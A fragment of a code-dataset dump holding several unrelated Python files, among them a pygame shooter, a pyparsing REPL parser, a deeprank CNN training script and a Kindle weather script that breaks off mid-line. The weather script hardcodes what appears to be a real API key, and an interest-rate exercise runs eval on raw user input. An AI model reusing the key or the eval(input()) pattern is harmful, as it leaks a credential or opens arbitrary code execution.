[]\nfor file in listdir(edge_path):\n if not file.startswith('.') and isfile(join(edge_path, file)):\n file_names.append(file)\n\nedge_array = gl.SFrame()\nfor i in range(0, 10): #len(file_names)):\n detect_features(file_names[i], i+1)\n\nedge_array.save(join(sframe_path, 'edge_array'))","sub_path":"lib/detect_features.py","file_name":"detect_features.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"108100488","text":"import pygame\npygame.init()\n\nwinWidth = 852\nwinHeight = 480\n\nwin = pygame.display.set_mode((winWidth, winHeight))\n\npygame.display.set_caption(\"First Game\")\n\nwalkRight = [\n pygame.image.load('R1.png'),\n pygame.image.load('R2.png'),\n pygame.image.load('R3.png'),\n pygame.image.load('R4.png'),\n pygame.image.load('R5.png'),\n pygame.image.load('R6.png'),\n pygame.image.load('R7.png'),\n pygame.image.load('R8.png'),\n pygame.image.load('R9.png')\n]\n\nwalkLeft = [\n pygame.image.load('L1.png'),\n pygame.image.load('L2.png'),\n pygame.image.load('L3.png'),\n pygame.image.load('L4.png'),\n pygame.image.load('L5.png'),\n pygame.image.load('L6.png'),\n pygame.image.load('L7.png'),\n pygame.image.load('L8.png'),\n pygame.image.load('L9.png')\n]\n\nbg = pygame.image.load('bg.jpg')\nchar = pygame.image.load('standing.png')\n\nclock = pygame.time.Clock()\n\nbulletSound = pygame.mixer.Sound('bullet.wav')\nhitSound = pygame.mixer.Sound('hit.wav')\n\nmusic = pygame.mixer.music.load('music.mp3')\npygame.mixer.music.play(-1)\n\nscore = 0\n\nclass player(object):\n def __init__(self,x,y,width,height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.vel = 5\n self.isJump = False\n self.jumpCount = 10\n self.left = False\n self.right = False\n self.walkCount = 0\n self.standing = True\n self.hitbox = (self.x + 17, self.y + 11, 29, 52)\n\n def draw(self, win):\n if self.walkCount + 1 >= 9:\n self.walkCount = 0\n\n if not(self.standing):\n if self.left:\n win.blit(walkLeft[self.walkCount//3], (self.x,self.y))\n self.walkCount += 1\n elif self.right:\n win.blit(walkRight[self.walkCount//3], (self.x,self.y))\n self.walkCount += 1\n else:\n if self.right:\n win.blit(walkRight[0], (self.x,self.y))\n else:\n win.blit(walkLeft[0], (self.x,self.y))\n self.hitbox = (self.x + 17, self.y + 11, 29, 52)\n pygame.draw.rect(win, (255,0,0), self.hitbox, 2)\n\n def hit(self):\n self.x = 60\n self.y = 410\n self.walkCount = 0\n self.isJump = False\n self.jumpCount = 10\n font1 = pygame.font.SysFont('comicsans', 100)\n text = font1.render('-5',1,(255,0,0))\n win.blit(text,(winWidth//2 - text.get_width()//2,winHeight//2 - text.get_height()//2))\n pygame.display.update()\n i = 0\n while i < 100:\n pygame.time.delay(10)\n i += 1\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n i = 301\n pygame.quit()\n print('dude got hit')\n\nclass projectile(object):\n def __init__(self,x,y,radius,color,facing):\n self.x = x\n self.y = y\n self.radius = radius\n self.color = color\n self.facing = facing\n self.vel = 8 * facing\n\n def draw(self, win):\n pygame.draw.circle(win, self.color, (self.x,self.y), self.radius)\n\nclass enemy(object):\n walkRight = [\n pygame.image.load('R1E.png'),\n pygame.image.load('R2E.png'),\n pygame.image.load('R3E.png'),\n pygame.image.load('R4E.png'),\n pygame.image.load('R5E.png'),\n pygame.image.load('R6E.png'),\n pygame.image.load('R7E.png'),\n pygame.image.load('R8E.png'),\n pygame.image.load('R9E.png'),\n pygame.image.load('R10E.png'),\n pygame.image.load('R11E.png')\n ]\n walkLeft = [\n pygame.image.load('L1E.png'),\n pygame.image.load('L2E.png'),\n pygame.image.load('L3E.png'),\n pygame.image.load('L4E.png'),\n pygame.image.load('L5E.png'),\n pygame.image.load('L6E.png'),\n pygame.image.load('L7E.png'),\n pygame.image.load('L8E.png'),\n pygame.image.load('L9E.png'),\n pygame.image.load('L10E.png'),\n pygame.image.load('L11E.png')\n ]\n\n def __init__(self,x,y,width,height,end):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.end = end\n self.path = [self.x,self.end]\n self.walkCount = 0\n self.vel = 3 \n self.hitbox = (self.x + 17, self.y + 2, 31, 57)\n self.health = 10\n self.visible = True\n\n def draw(self,win):\n self.move()\n if self.visible:\n if self.walkCount + 1 >= 33:\n self.walkCount = 0\n\n if self.vel > 0:\n win.blit(self.walkRight[self.walkCount//3], (self.x,self.y))\n self.walkCount += 1\n else:\n win.blit(self.walkLeft[self.walkCount//3], (self.x,self.y))\n self.walkCount += 1\n\n pygame.draw.rect(win, (255,0,0), (self.hitbox[0], self.hitbox[1] - 20, 50, 10)) \n pygame.draw.rect(win, (0,128,0), (self.hitbox[0], self.hitbox[1] - 20, 50 - (5 * (10 - self.health)), 10))\n self.hitbox = (self.x + 17, self.y + 2, 31, 57)\n pygame.draw.rect(win, (255,0,0), self.hitbox, 2)\n\n def move(self):\n if self.vel > 0:\n if self.x + self.vel < self.path[1]:\n self.x += self.vel\n else:\n self.vel = self.vel * -1\n self.walkCount = 0\n else:\n if self.x - self.vel > self.path[0]:\n self.x += self.vel\n else:\n self.vel = self.vel * -1\n self.walkCount = 0\n\n def hit(self):\n if self.health > 1:\n self.health -= 1\n else:\n self.visible = False\n print('hit')\n\ndef redrawGameWindow(): \n win.blit(bg, (0,0))\n text = font.render('Score: ' + str(score), 1, (0,0,0))\n win.blit(text, (740,10))\n dude.draw(win)\n for goblin in goblins:\n goblin.draw(win)\n for bullet in bullets:\n bullet.draw(win)\n pygame.display.update()\n\n#main loop\nfont = pygame.font.SysFont('comicsans',30,True)\ndude = player(300, 410, 64, 64)\n#goblin = enemy(100, 410, 64, 64, 450)\ngoblins = [enemy(100, 410, 64, 64, 450)]\nshootLoop = 0\nbullets = []\nrun = True\nwhile run:\n clock.tick(27)\n\n if shootLoop > 0:\n shootLoop += 1\n if shootLoop >3:\n shootLoop = 0\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n\n for goblin in goblins:\n if goblin.visible:\n if dude.hitbox[1] < goblin.hitbox[1] + goblin.hitbox[3] and dude.hitbox[1] + dude.hitbox[3] > goblin.hitbox[1]:\n if dude.hitbox[0] + dude.hitbox[2] > goblin.hitbox[0] and dude.hitbox[0] < goblin.hitbox[0] + goblin.hitbox[2]:\n dude.hit()\n if goblin.health > 5:\n goblin.health = 10\n else:\n goblin.health += 5\n if score >= 5:\n score -= 5\n elif score > 0 and score < 5:\n score = 0\n \n for bullet in bullets:\n if goblin.visible:\n if bullet.y - bullet.radius < goblin.hitbox[1] + goblin.hitbox[3] and bullet.y + bullet.radius > goblin.hitbox[1]:\n if bullet.x + bullet.radius > goblin.hitbox[0] and bullet.x - bullet.radius < goblin.hitbox[0] + goblin.hitbox[2]:\n hitSound.play()\n goblin.hit()\n score += 1\n bullets.pop(bullets.index(bullet))\n \n if bullet.x < winWidth and bullet.x > 0:\n bullet.x += bullet.vel\n else:\n bullets.pop(bullets.index(bullet))\n\n keys = pygame.key.get_pressed()\n\n if keys[pygame.K_SPACE] and shootLoop == 0:\n if dude.left:\n facing = -1\n else:\n facing = 1\n if len(bullets) < 5:\n bullets.append(projectile(dude.x + dude.width//2, dude.y + dude.height//2, 6, (0,0,0), facing))\n bulletSound.play()\n\n shootLoop = 1\n\n if keys[pygame.K_LEFT] and dude.x > dude.vel:\n dude.x -= dude.vel\n dude.left = True\n dude.right = False\n dude.standing = False\n elif keys[pygame.K_RIGHT] and dude.x < winWidth - dude.width:\n dude.x += dude.vel\n dude.right = True\n dude.left = False\n dude.standing = False\n else: \n dude.standing = True\n dude.walkCount = 0\n\n if not(dude.isJump):\n if keys[pygame.K_UP]:\n dude.isJump = True\n dude.walkCount = 0\n else:\n if dude.jumpCount >= -10:\n neg = 1\n if dude.jumpCount < 0:\n neg = -1\n dude.y -= (dude.jumpCount ** 2) // 2 * neg\n dude.jumpCount -= 1\n else:\n dude.isJump = False\n dude.jumpCount = 10\n\n redrawGameWindow()\n \npygame.quit()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"648121325","text":"\"\"\"\nThe parser for the REPL\n\n\"\"\"\nimport pyparsing as pp\nimport logging as root_logger\n\nfrom acab.config import AcabConfig\nfrom acab.abstract.parsing import util as PU\n\nfrom .repl_commands import ReplE as RE\nfrom .repl_commands import build_command\n\nlogging = root_logger.getLogger(__name__)\nHOTLOAD_COMMANDS = pp.Forward()\nutil = AcabConfig.Get()\n\nMULTI_LINE_REGEX = util(\"REPL\", \"MULTI_LINE_REGEX\")\n\n\ndef build_slice(toks):\n result = None\n first = 0\n second = 0\n if 'first' in toks:\n first = toks['first']\n result = first\n\n if 'second' in toks:\n second = toks['second'][0]\n result = slice(first, second)\n\n return result\n\ndef build_multiline(toks):\n param = True\n if toks[0][1] == \"}\":\n param = False\n\n return build_command(RE.MULTILINE, params=[param])\n\n\n# Keywords\nload_kw = pp.Keyword('load')\nsave_kw = pp.Keyword('save')\nwm_kw = pp.Keyword(\"wm\")\nbootstrap_kw = pp.Keyword(\"bootstrap\")\npipeline_kw = pp.Keyword(\"pipeline\")\naction_kw = pp.Keyword(\"action\")\noperator_kw = pp.Keyword(\"operator\")\nagenda_kw = pp.Keyword(\"agenda\")\nbinding_kw = pp.Keyword(\"binding\")\nbreak_kw = pp.Keyword(\"break\")\nkeyword_kw = pp.Keyword(\"keyword\")\nmodule_kw = pp.Or([pp.Keyword(x) for x in ['module', 'mod']])\n\nfor_kw = PU.s(pp.Keyword('for'))\nact_kw = PU.s(pp.Keyword('act'))\nall_kw = PU.s(pp.Keyword('all'))\nback_kw = PU.s(pp.Keyword('back'))\ncheck_kw = PU.s(pp.Keyword('check'))\ndecompose_kw = PU.s(pp.Keyword('decompose'))\nexit_kw = PU.s(pp.Or([pp.Keyword(x) for x in [\"exit\", \"quit\"]]))\nhelp_kw = PU.s(pp.Keyword('help'))\ninit_kw = PU.s(pp.Keyword('init'))\nlayer_kw = PU.s(pp.Keyword('layer'))\nlisten_kw = PU.s(pp.Keyword('listen'))\nlistener_kw = PU.s(pp.Keyword('listener'))\nlisteners_kw = PU.s(pp.Keyword('listeners'))\nthreshold_kw = PU.s(pp.Keyword(\"threshold\"))\nprint_kw = PU.s(pp.Keyword('print'))\nremove_kw = PU.s(pp.Keyword('remove'))\nrule_kw = PU.s(pp.Keyword('rule'))\nrun_kw = PU.s(pp.Keyword('run'))\nstats_kw = PU.s(pp.Keyword('stats'))\nstep_kw = PU.s(pp.Keyword('step'))\nprompt_kw = PU.s(pp.Keyword('prompt'))\nfrom_kw = PU.s(pp.Keyword('from'))\necho_kw = PU.s(pp.Keyword('echo'))\n\n# Default: Instructions to pass to an Engine\nempty_line = pp.lineStart + pp.lineEnd\nrest_of_line = PU.op(PU.s(pp.White())) + pp.restOfLine\n\nmulti_line = pp.Regex(MULTI_LINE_REGEX)\nmulti_line_pop = pp.Literal(':pop')\n\n# TODO\nnumber = pp.Word(pp.nums)\nslice_p = PU.s(pp.Literal('[')) + \\\n PU.op(number).setResultsName('first') + \\\n PU.op(PU.s(pp.Literal(':')) + number).setResultsName('second') + \\\n PU.s(pp.Literal(']'))\n\nparam_p = pp.Or([number, slice_p])\n\n# assertions / retractions / query\n# eg: a.test.statement\n# eg2: a.test.query?\nbase_statement = rest_of_line.copy()\nnop_line = rest_of_line.copy()\n\n# run rule/layer/pipeline (select appropriate method by its type)\n# treat string as query\nrun_something = run_kw + PU.op(PU.BIND + from_kw + rest_of_line)\n# print trie / query results / selected type\nprint_alts = pp.Or([wm_kw, bootstrap_kw, layer_kw, module_kw, pipeline_kw, binding_kw])\n\nprint_state = print_kw + print_alts + PU.op(param_p)\n\n# Instructions to modify engine\n# eg: load ~/test/file.trie\nstate_io_cmds = pp.Or([save_kw, load_kw])\nfile_path = rest_of_line\n# save / load state\nstate_io = state_io_cmds + file_path\n\n# initialise\n# eg: init acab.engines.trie_engine.TrieEngine\nreinit = init_kw + pp.Optional(rest_of_line)\n\n# step forward or back\n# eg: step rule a.test.rule?\nstep = step_kw + pp.Optional(pp.Or([back_kw,\n rule_kw + rest_of_line,\n layer_kw + rest_of_line]))\n\n# Instructions to load a module\n# load module\n# eg: load acab.modules.values.numbers\nload_mod = PU.s(module_kw) + rest_of_line\n\n# Misc Instructions\n# perform an action manually\n# eg: act print(a.test.print)\nmanual_act = act_kw + rest_of_line\n\n# Decompose rule/layer/pipeline into bindings\n# eg: decompose a.test.$rule?\ndecompose = decompose_kw + rest_of_line\n\n# Pause on assertion/retraction/rule/layer/pipeline/action\n# eg: listen for a.test.assertion\nlisten_for = listen_kw + for_kw + rest_of_line\nlisteners = listeners_kw\nlistener_remove = remove_kw + listener_kw + rest_of_line\nlisten_threshold = listen_kw + threshold_kw + rest_of_line\n\nexit_cmd = exit_kw\n\n# Help Instructions\nhelp_cmd = help_kw\n# Type Check all loaded / this string\ntype_check = check_kw + pp.Optional(rest_of_line)\n# Print stats\n# TODO: add control over stats\nstat_words = pp.Or([operator_kw, agenda_kw, rule_kw, pipeline_kw,\n layer_kw, module_kw, wm_kw, binding_kw, keyword_kw])\nstats = stats_kw + pp.ZeroOrMore(stat_words)\n\n# Set prompt\nprompt_cmd = prompt_kw + rest_of_line\n\nbreak_cmd = break_kw\n\n# Actions\nslice_p.setParseAction (build_slice)\nnumber.setParseAction (lambda toks: int (toks[0]))\nrest_of_line.setParseAction (lambda toks: toks[0])\nsave_kw.setParseAction (lambda toks: RE.SAVE)\nload_kw.setParseAction (lambda toks: RE.LOAD)\nmulti_line.setParseAction (build_multiline)\nmulti_line_pop.setParseAction(lambda toks: (RE.POP))\nempty_line.setParseAction (lambda toks: build_command(RE.NOP, params=[]))\n\n\nbreak_cmd.setParseAction (lambda toks: build_command(RE.BREAK))\nstate_io.setParseAction (lambda toks: build_command(toks[0], params=toks[1:]))\nbase_statement.setParseAction (lambda toks: build_command(RE.PASS, params=toks[:]))\nnop_line.setParseAction (lambda toks: build_command(RE.NOP, params=toks[:]))\ndecompose.setParseAction (lambda toks: build_command(RE.DECOMPOSE, params=toks[:]))\nlisten_for.setParseAction (lambda toks: build_command(RE.LISTEN, type=\"add\", params=toks[:]))\nlistener_remove.setParseAction (lambda toks: build_command(RE.LISTEN, type=\"remove\", params=toks[:]))\nlisteners.setParseAction (lambda toks: build_command(RE.LISTEN, type=\"list\", params=toks[:]))\nlisten_threshold.setParseAction(lambda toks: build_command(RE.LISTEN, type=\"threshold\", params=toks[:]))\nload_mod.setParseAction (lambda toks: build_command(RE.MODULE, params=toks[:]))\nmanual_act.setParseAction (lambda toks: build_command(RE.ACT, params=toks[:]))\nprint_state.setParseAction (lambda toks: build_command(RE.PRINT, params=toks[:]))\nreinit.setParseAction (lambda toks: build_command(RE.INIT, params=toks[:]))\nrun_something.setParseAction (lambda toks: build_command(RE.RUN, params=toks[:]))\nstep.setParseAction (lambda toks: build_command(RE.STEP, params=toks[:]))\ntype_check.setParseAction (lambda toks: build_command(RE.CHECK, params=toks[:]))\nprompt_cmd.setParseAction (lambda toks: build_command(RE.PROMPT, params=toks[:]))\nexit_cmd.setParseAction (lambda toks: build_command(RE.EXIT))\nhelp_cmd.setParseAction (lambda toks: build_command(RE.HELP, params=[]))\nstats.setParseAction (lambda toks: build_command(RE.STATS, params=toks[:]))\necho_kw.setParseAction (lambda toks: build_command(RE.ECHO, params=[]))\n\n# Names\nmain_commands = PU.s(pp.Literal(':')) + pp.Or([run_something,\n listeners,\n listen_threshold,\n listen_for,\n listener_remove,\n print_state,\n state_io,\n reinit,\n step,\n load_mod,\n manual_act,\n listen_for,\n type_check,\n stats,\n help_cmd,\n exit_cmd,\n prompt_cmd,\n echo_kw,\n break_cmd,\n HOTLOAD_COMMANDS])\n\n\n\nparse_point = pp.MatchFirst([multi_line,\n main_commands,\n empty_line,\n base_statement])\n\nalt_parse_point = pp.MatchFirst([multi_line,\n nop_line])\n\ndef parseString(in_string, in_multi_line=False):\n if not in_multi_line:\n result = parse_point.parseString(in_string)[0]\n else:\n logging.info(\"In ML: {}\".format(in_multi_line))\n result = alt_parse_point.parseString(in_string)[0]\n return result\n","sub_path":"acab/repl/ReplParser.py","file_name":"ReplParser.py","file_ext":"py","file_size_in_byte":8814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"552344085","text":"import requests\nimport os\n\nclass HipchatReporter():\n def __init__(self):\n self.api_key = os.environ.get('HIPCHAT_TOKEN')\n self.url = 'http://api.hipchat.com/v1/rooms/message?auth_token=%s' % self.api_key\n self.room_id = os.environ.get('ROOM_ID')\n self.background_colour = 'purple'\n self.from_name = 'Hermes'\n self.retry_count = int(os.environ.get('RETRY_COUNT'))\n\n def report(self, key, summary):\n self.payload = self._create_payload(key, summary)\n while self.retry_count > 0:\n response = requests.post(self.url, data=self.payload)\n self.retry_count -= 1\n if response.status_code == 200:\n break\n\n def _create_payload(self, key, summary):\n return \"room_id=%(room_id)s&from=%(from_name)s&message=%(message)s&color=%(background_colour)s\" %\\\n {\n 'room_id': self.room_id,\n 'from_name': self.from_name,\n 'message': self._format_message(key, summary),\n 'background_colour': self.background_colour\n }\n\n def _format_message(self, key, summary):\n return '%s+(%s)+has+been+flagged+as+a+demo+bug.' % (key, summary)","sub_path":"hipchat_reporter.py","file_name":"hipchat_reporter.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"407115102","text":"import os\nimport traceback\n\nfrom jinja2 import Environment, FileSystemLoader\nimport mako\nfrom mako import exceptions\nfrom mako.lookup import TemplateLookup\n\ndef render():\n template_path = os.getcwd()\n\n jinja_env = Environment(loader=FileSystemLoader([template_path]), autoescape=True)\n\n mako_template_lookup = TemplateLookup(directories=[template_path])\n \n for template in get_templates():\n \n template_type = template[0]\n template_file = template[1]\n data_func = template[2]\n \n if template_type == 'j':\n template = jinja_env.get_template(template_file)\n try:\n output = template.render(data_func())\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n print(\"Exception %s\", e)\n\n elif template_type == 'm':\n template = mako_template_lookup.get_template(template_file)\n try:\n output = template.render(data=get_mako_data(), format_exceptions=True)\n except:\n output = exceptions.html_error_template().render().decode('utf-8')\n \n with open('out-' + template_file, 'w+') as outfile:\n outfile.write(output)\n outfile.close()\n\ndef get_templates():\n return [\n # ('j', 'jinja.html', get_jinja_data),\n # ('m', 'mako.html', get_mako_data),\n # ('j', 'jinja-if.html', get_jinja_data),\n # ('m', 'mako-if.html', get_mako_data),\n # ('j', 'jinja-complicated-data.html', get_complicated_data_jinja),\n ('m', 'mako-complicated-data.html', get_complicated_data_mako),\n ]\n\nclass SlimShady:\n name = None\n data = dict()\n\n def __init__(self, name, data=None):\n self.name = name\n self.data = data\n\ndef get_mako_data():\n return [SlimShady('SLIM SHADY') for _ in range(10)]\n\ndef get_jinja_data():\n return {'data': [SlimShady('SLIM SHADY') for _ in range(10)]}\n\ndef get_complicated_data_jinja():\n return { \n 'data' : \n SlimShady('Kyland', {\n 'level_one': [{\n 'level_two': {\n 'level_three': 'SLIM SHADY'\n }\n }]\n })\n }\n\ndef get_complicated_data_mako():\n return SlimShady('Kyland', {\n 'level_one': [{\n 'level_two': {\n 'level_three': 'SLIM SHADY'\n }\n }]\n })","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"490760959","text":"# q7.py\n#\n# As an alternative to APR, the interest accrued on an account is often\n# described in terms of a nominal rate and the number of compunding periods.\n# For example, if the interest rate is 3% and the interest is compounded\n# quarterly, the account actually earns 3/4% interest every 3 months.\n#\n# Modify the futval.py program to use this method of entering the interest\n# rate. The program should promt the user for the yearly rate (rate) and\n# the number of times that the interest is compounded each year (periods).\n# To compute the value in ten years, the program will loop 10 * periods\n# time and accrue rate/period interest on each interation.\n\ndef main():\n print(\"This program calculates the future value\")\n print(\"of a 10-year investment.\")\n\n principal = eval(input(\"Enter the initial principal: \"))\n rate = eval(input(\"Enter the yearly interest rate: \"))\n periods = eval(input(\"Enter the number of periods: \"))\n\n for i in range(10):\n for j in range(periods):\n interest_rate = (rate / periods) / 100\n principal = principal * (1 + interest_rate)\n\n print(\"The value in 10 years is: \", principal)\n\nmain()\n","sub_path":"exercises/ch2/q7.py","file_name":"q7.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"411612974","text":"import glob\nimport os\nimport re\nimport sys\nfrom math import *\n\nimport numpy as np\n\nfrom deeprank.learn import *\nfrom deeprank.learn.model3d import cnn_class as cnn3d\nfrom torch import optim\n\n\"\"\"\nAn example to do cross-validation 3d_cnn at the case level\n(i.e., all docked models of one case will belong either to training, valiation or test only)\n\"\"\"\n\n# os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\n\ndef divide_data(\n hdf5_DIR,\n caseID_FL,\n portion=[\n 0.8,\n 0.1,\n 0.1],\n random=True,\n write_to_file=True):\n # INPUT: the dir that stores all hdf5 data (training, validation, and test)\n # OUPUT: randomly divide them into train, validation, and test at the caseID-level. Return the filenames.\n # write_to_file: True then write the files of trainSet.txt,\n # valiatonSet.txt and testSet.txt\n\n if sum(portion) > 1:\n sys.exit(\n \"Error: The sum of portions for train/validatoin/test is larger than 1!\")\n\n if len(portion) != 3:\n sys.exit(\"Error: the length of portions has to be 3.\")\n\n caseIDs = np.array(read_listFL(caseID_FL))\n train_caseIDs, valid_caseIDs, test_caseIDs = random_split(\n caseIDs, portion, random=random)\n\n print(f\"\\nnum of training cases: {len(train_caseIDs)}\")\n print(f\"num of validation cases: {len(valid_caseIDs)}\")\n print(f\"num of test cases: {len(test_caseIDs)}\\n\")\n\n train_database = get_hdf5FLs(train_caseIDs, hdf5_DIR)\n valid_database = get_hdf5FLs(valid_caseIDs, hdf5_DIR)\n test_database = get_hdf5FLs(test_caseIDs, hdf5_DIR)\n\n if write_to_file is True:\n outDIR = os.getcwd()\n write_train_valid_testFLs(\n train_database,\n valid_database,\n test_database,\n outDIR)\n return train_database, valid_database, test_database\n\n\ndef get_hdf5FLs(caseIDs, hdf5_DIR):\n\n hdf5_FLs = []\n for caseID in caseIDs:\n hdf5_FLs.extend(glob.glob(f\"{hdf5_DIR}/*{caseID}.hdf5\"))\n\n return hdf5_FLs\n\n\ndef read_listFL(listFL):\n\n f = open(listFL, 'r')\n caseIDs = f.readlines()\n f.close()\n\n caseIDs = [x.strip() for x in caseIDs if not re.search('^#', x)]\n print(f\"{len(caseIDs)} cases read from {listFL}\")\n return caseIDs\n\n\ndef random_split(array, portion, random=True):\n # array: np.array. Can be a list of caseIDs or a list of hdf5 file names\n\n if random is True:\n np.random.shuffle(array)\n n_cases = len(array)\n n_train = min(ceil(n_cases * portion[0]), n_cases)\n n_valid = floor(n_cases * portion[1])\n\n if sum(portion) == 1:\n n_test = n_cases - n_train - n_valid\n else:\n n_test = floor(n_cases * portion[2])\n\n train = array[:n_train]\n valid = array[n_train:n_train + n_valid]\n test = array[n_train + n_valid: n_train + n_valid + n_test]\n\n return train, valid, test\n\n\ndef write_train_valid_testFLs(\n train_database,\n valid_database,\n test_database,\n outDIR):\n trainID_FL = f\"{outDIR}/trainIDs.txt\"\n validID_FL = f\"{outDIR}/validIDs.txt\"\n testID_FL = f\"{outDIR}/testIDs.txt\"\n\n outFLs = [trainID_FL, validID_FL, testID_FL]\n databases = [train_database, valid_database, test_database]\n\n for outFL, database in zip(outFLs, databases):\n\n if database is not True:\n np.savetxt(outFL, database, delimiter=\"\\n\", fmt=\"%s\")\n print(f\"{outFL} generated.\")\n\n\ndef main():\n\n out = './out'\n hdf5_DIR = './hdf5'\n caseID_FL = 'caseIDs.txt'\n train_database, valid_database, test_database = divide_data(\n hdf5_DIR=hdf5_DIR, caseID_FL=caseID_FL, portion=[0.2, 0.1, 0.1], random=False)\n\n # clean the output dir\n out = './out_3d'\n if os.path.isdir(out):\n for f in glob.glob(out + '/*'):\n os.remove(f)\n os.removedirs(out)\n\n # declare the dataset instance\n\n data_set = DataSet(train_database=train_database,\n valid_database=valid_database,\n test_database=test_database,\n mapfly=True,\n use_rotation=0,\n grid_info={\n 'number_of_points': [\n 6, 6, 6], 'resolution': [\n 5, 5, 5]},\n\n # select_feature={'AtomicDensities': {'C': 1.7, 'N': 1.55, 'O': 1.52, 'S': 1.8},\n # \t\t\t'Features' : ['coulomb','vdwaals','charge','PSSM_*'] },\n # select_feature = 'all',\n select_feature={'Features': ['PSSM_*']},\n select_target='BIN_CLASS',\n tqdm=True,\n normalize_features=False,\n normalize_targets=False,\n clip_features=False,\n pair_chain_feature=np.add,\n dict_filter={'DOCKQ': '>0.01', 'IRMSD': '<=4 or >10'})\n\n # create the network\n model = NeuralNet(data_set, cnn3d, model_type='3d', task='class',\n cuda=False, plot=True, outdir=out)\n #model = NeuralNet(data_set, model3d.cnn,cuda=True,ngpu=1,plot=False, task='class')\n\n # change the optimizer (optional)\n model.optimizer = optim.SGD(model.net.parameters(),\n lr=0.0001, momentum=0.9, weight_decay=0.00001)\n\n # start the training\n model.train(\n nepoch=2,\n divide_trainset=None,\n train_batch_size=50,\n num_workers=8,\n save_model='all')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"example/learn_batch.py","file_name":"learn_batch.py","file_ext":"py","file_size_in_byte":5580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"654445112","text":"#!/usr/bin/python2\n\n# Kindle Weather Display\n# Matthew Petroff (http://www.mpetroff.net/)\n# September 2012\n\nimport urllib2\nfrom xml.dom import minidom\nimport datetime\nimport codecs\nfrom pprint import pprint\nfrom pyowm import OWM\n\napi_key = '4c2f530274356fa51b07af049c960ed9'\ncity = 'Warsaw,PL'\nowm = OWM(api_key)\n\nobs = owm.weather_at_place(city)\nw = obs.get_weather()\n\n# fc = owm.three_hours_forecast(city)\nfc = owm.daily_forecast(city)\nf = fc.get_forecast()\n\nhighs = [None]*4\nlows = [None]*4\nicons = [None]*4\n\niconsMap = {'802': 'bkn', '801': 'bkn',\n 601: 'sn', 602: 'blizzard', 611: 'sn', 612: 'sn',\n 741: 'fg', 701: 'fg', 721: 'fg', 500: 'hi_shwrs', 501: 'hi_shwrs', 502: 'hi_shwrs', 503: 'hi_shwrs', 803: 'ovc', 804: 'ovc',\n 300: 'ra', 301: 'ra', 302: 'ra', 310: 'ra', 311: 'ra', 312: 'ra', 313: 'ra', 314: 'ra', 321: 'ra',\n 903: 'cold', 511: 'fzra', 904: 'hot', 210: 'scttsra', 201: 'scttsra', 202: 'scttsra', 211: 'scttsra', 212: 'scttsra', 221: 'scttsra',\n 230: 'scttsra', 231: 'scttsra', 232: 'scttsra', 800: 'skc', 600: 'sn', 200: 'tsra', 905: 'wind', 957: 'wind',\n 801: 'few', 616: 'mix', 621: 'mix', 622: 'mix', 615: 'rasn', 620: 'rasn', 802: 'ovc',\n }\n\nlows[0] = obs.get_weather().get_temperature(unit='celsius')['temp_min']\nhighs[0] = obs.get_weather().get_temperature(unit='celsius')['temp_max']\nicons[0] = iconsMap[obs.get_weather().get_weather_code()]\n\npprint(highs)\npprint(lows)\n\n# for weather in f:\n # print (weather.get_reference_time('iso'), weather.get_status(), weather.get_temperature(unit='celsius')['min'])\n\nfor i in range(1, 4):\n lows[i] = f.get_weathers()[i].get_temperature(unit='celsius')['min']\n highs[i] = f.get_weathers()[i].get_temperature(unit='celsius')['max']\n icons[i] = iconsMap[f.get_weathers()[i].get_weather_code()]\n\npprint(highs)\npprint(lows)\n\npprint(f)\npprint(obs)\npprint(w)\n\n#\n# Download and parse weather data\n#\n\n# Fetch data (change lat and lon to desired location)\nweather_xml = urllib2.urlopen('http://graphical.weather.gov/xml/SOAP_server/ndfdSOAPclientByDay.php?whichClient=NDFDgenByDay&lat=42.9133&lon=-85.7053&format=24+hourly&numDays=4&Unit=e').read()\ndom = minidom.parseString(weather_xml)\n\n# Parse temperatures\nxml_temperatures = dom.getElementsByTagName('temperature')\n# highs = [None]*4\n# lows = [None]*4\n# for item in xml_temperatures:\n# if item.getAttribute('type') == 'maximum':\n# values = item.getElementsByTagName('value')\n# for i in range(len(values)):\n# highs[i] = int(values[i].firstChild.nodeValue)\n# if item.getAttribute('type') == 'minimum':\n# values = item.getElementsByTagName('value')\n# for i in range(len(values)):\n# lows[i] = int(values[i].firstChild.nodeValue)\n\n# Parse icons\nxml_icons = dom.getElementsByTagName('icon-link')\n# icons = [None]*4\n# for i in range(len(xml_icons)):\n# icons[i] = xml_icons[i].firstChild.nodeValue.split('/')[-1].split('.')[0].rstrip('0123456789')\n\n# Parse dates\nxml_day_one = dom.getElementsByTagName('start-valid-time')[0].firstChild.nodeValue[0:10]\nday_one = datetime.datetime.strptime(xml_day_one, '%Y-%m-%d')\n\npprint(icons)\npprint(highs)\npprint(lows)\n\n\n\n#\n# Preprocess SVG\n#\n\n# Open SVG to process\noutput = codecs.open('weather-script-preprocess.svg', 'r', encoding='utf-8').read()\n\nnow = datetime.datetime.now()\ndtyear=str(now.year)\ndtmonth=str(now.month)\ndtday=str(now.day)\ndthour=str(now.hour)\ndtmin=str(now.minute)\ndtnow=str(dtday+'/'+dtmonth+'/'+dtyear+' '+dthour+':'+dtmin)\n\n\n\n# Insert icons and temperatures\noutput = 